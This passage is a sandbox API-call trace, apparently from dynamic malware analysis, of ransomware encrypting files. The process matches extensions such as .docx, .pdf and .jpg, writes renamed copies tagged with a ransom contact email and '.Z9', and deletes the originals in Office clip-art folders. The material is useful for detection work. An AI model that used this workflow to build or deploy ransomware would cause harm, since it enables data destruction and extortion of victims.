	[0180.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.611] lstrlenW (lpString=".7z") returned 3
	[0180.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.611] lstrlenW (lpString=".dbf") returned 4
	[0180.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.611] lstrlenW (lpString=".1cd") returned 4
	[0180.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.611] lstrlenW (lpString=".jpg") returned 4
	[0180.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.611] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.611] lstrlenW (lpString="J0145212.JPG") returned 12
	[0180.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.613] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=61633) returned 1
	[0180.613] CloseHandle (hObject=0x388) returned 1
	[0180.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220
	[0180.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.614] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.614] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.616] GetLastError () returned 0x0
	[0180.616] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0xf0c1, lpOverlapped=0x0) returned 1
	[0180.889] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xf0d0, lpOverlapped=0x0) returned 1
	[0180.892] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.892] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.892] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.893] CloseHandle (hObject=0x4a8) returned 1
	[0180.893] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.893] SetEndOfFile (hFile=0x388) returned 1
	[0180.967] CloseHandle (hObject=0x388) returned 1
	[0180.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1
	[0180.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.969] lstrlenW (lpString=".doc") returned 4
	[0180.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.969] lstrlenW (lpString=".docx") returned 5
	[0180.969] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.970] lstrlenW (lpString=".pdf") returned 4
	[0180.970] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.970] lstrlenW (lpString=".xls") returned 4
	[0180.970] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.970] lstrlenW (lpString=".xlsx") returned 5
	[0180.970] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.970] lstrlenW (lpString=".ppt") returned 4
	[0180.970] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString=".zip") returned 4
	[0180.970] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.970] lstrlenW (lpString=".rar") returned 4
	[0180.970] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.970] lstrlenW (lpString=".bz2") returned 4
	[0180.970] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.970] lstrlenW (lpString=".7z") returned 3
	[0180.970] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString=".dbf") returned 4
	[0180.970] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString=".1cd") returned 4
	[0180.970] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString=".jpg") returned 4
	[0180.970] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.970] lstrlenW (lpString=".doc") returned 4
	[0180.970] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.970] lstrlenW (lpString=".docx") returned 5
	[0180.970] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.970] lstrlenW (lpString=".pdf") returned 4
	[0180.971] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.971] lstrlenW (lpString=".xls") returned 4
	[0180.971] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.971] lstrlenW (lpString=".xlsx") returned 5
	[0180.971] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.971] lstrlenW (lpString=".ppt") returned 4
	[0180.971] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.971] lstrlenW (lpString=".zip") returned 4
	[0180.971] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.971] lstrlenW (lpString=".rar") returned 4
	[0180.971] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.971] lstrlenW (lpString=".bz2") returned 4
	[0180.971] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.971] lstrlenW (lpString=".7z") returned 3
	[0180.971] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.971] lstrlenW (lpString=".dbf") returned 4
	[0180.971] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.971] lstrlenW (lpString=".1cd") returned 4
	[0180.971] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0180.971] lstrlenW (lpString=".jpg") returned 4
	[0180.971] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.971] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.971] lstrlenW (lpString="J0145669.JPG") returned 12
	[0180.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.973] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=31850) returned 1
	[0180.973] CloseHandle (hObject=0x388) returned 1
	[0180.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220
	[0180.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.974] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.974] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0180.988] GetLastError () returned 0x0
	[0180.988] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7c6a, lpOverlapped=0x0) returned 1
	[0181.094] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7c70, lpOverlapped=0x0) returned 1
	[0181.095] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.095] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.095] SetEndOfFile (hFile=0x560) returned 1
	[0181.096] CloseHandle (hObject=0x560) returned 1
	[0181.096] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.096] SetEndOfFile (hFile=0x388) returned 1
	[0181.102] CloseHandle (hObject=0x388) returned 1
	[0181.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1
	[0181.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.104] lstrlenW (lpString=".doc") returned 4
	[0181.104] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.104] lstrlenW (lpString=".docx") returned 5
	[0181.104] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0181.104] lstrlenW (lpString=".pdf") returned 4
	[0181.104] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.104] lstrlenW (lpString=".xls") returned 4
	[0181.104] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.104] lstrlenW (lpString=".xlsx") returned 5
	[0181.104] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0181.104] lstrlenW (lpString=".ppt") returned 4
	[0181.104] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.105] lstrlenW (lpString=".zip") returned 4
	[0181.105] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.105] lstrlenW (lpString=".rar") returned 4
	[0181.105] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.105] lstrlenW (lpString=".bz2") returned 4
	[0181.105] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.105] lstrlenW (lpString=".7z") returned 3
	[0181.105] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.105] lstrlenW (lpString=".dbf") returned 4
	[0181.105] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.105] lstrlenW (lpString=".1cd") returned 4
	[0181.105] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.105] lstrlenW (lpString=".jpg") returned 4
	[0181.105] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.106] lstrlenW (lpString=".doc") returned 4
	[0181.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.106] lstrlenW (lpString=".docx") returned 5
	[0181.106] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0181.106] lstrlenW (lpString=".pdf") returned 4
	[0181.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.106] lstrlenW (lpString=".xls") returned 4
	[0181.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.106] lstrlenW (lpString=".xlsx") returned 5
	[0181.106] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0181.106] lstrlenW (lpString=".ppt") returned 4
	[0181.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.106] lstrlenW (lpString=".zip") returned 4
	[0181.106] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.106] lstrlenW (lpString=".rar") returned 4
	[0181.106] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.106] lstrlenW (lpString=".bz2") returned 4
	[0181.106] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.106] lstrlenW (lpString=".7z") returned 3
	[0181.106] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.106] lstrlenW (lpString=".dbf") returned 4
	[0181.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.107] lstrlenW (lpString=".1cd") returned 4
	[0181.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0181.107] lstrlenW (lpString=".jpg") returned 4
	[0181.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.107] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0181.107] lstrlenW (lpString="J0145895.JPG") returned 12
	[0181.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0181.110] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=33958) returned 1
	[0181.110] CloseHandle (hObject=0x388) returned 1
	[0181.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220
	[0181.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0181.111] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.111] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.112] GetLastError () returned 0x0
	[0181.112] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x84a6, lpOverlapped=0x0) returned 1
	[0181.135] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x84b0, lpOverlapped=0x0) returned 1
	[0181.136] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.136] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.136] SetEndOfFile (hFile=0x560) returned 1
	[0181.137] CloseHandle (hObject=0x560) returned 1
	[0181.165] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.165] SetEndOfFile (hFile=0x388) returned 1
	[0181.169] CloseHandle (hObject=0x388) returned 1
	[0181.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.171] lstrlenW (lpString=".doc") returned 4
	[0181.171] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.171] lstrlenW (lpString=".docx") returned 5
	[0181.171] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0181.171] lstrlenW (lpString=".pdf") returned 4
	[0181.171] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.171] lstrlenW (lpString=".xls") returned 4
	[0181.171] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.171] lstrlenW (lpString=".xlsx") returned 5
	[0181.171] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0181.171] lstrlenW (lpString=".ppt") returned 4
	[0181.171] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.171] lstrlenW (lpString=".zip") returned 4
	[0181.171] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.171] lstrlenW (lpString=".rar") returned 4
	[0181.171] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.171] lstrlenW (lpString=".bz2") returned 4
	[0181.171] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.171] lstrlenW (lpString=".7z") returned 3
	[0181.171] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.171] lstrlenW (lpString=".dbf") returned 4
	[0181.171] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.171] lstrlenW (lpString=".1cd") returned 4
	[0181.171] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".jpg") returned 4
	[0181.172] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".doc") returned 4
	[0181.172] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.172] lstrlenW (lpString=".docx") returned 5
	[0181.172] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0181.172] lstrlenW (lpString=".pdf") returned 4
	[0181.172] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.172] lstrlenW (lpString=".xls") returned 4
	[0181.172] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.172] lstrlenW (lpString=".xlsx") returned 5
	[0181.172] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0181.172] lstrlenW (lpString=".ppt") returned 4
	[0181.172] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".zip") returned 4
	[0181.172] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.172] lstrlenW (lpString=".rar") returned 4
	[0181.172] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
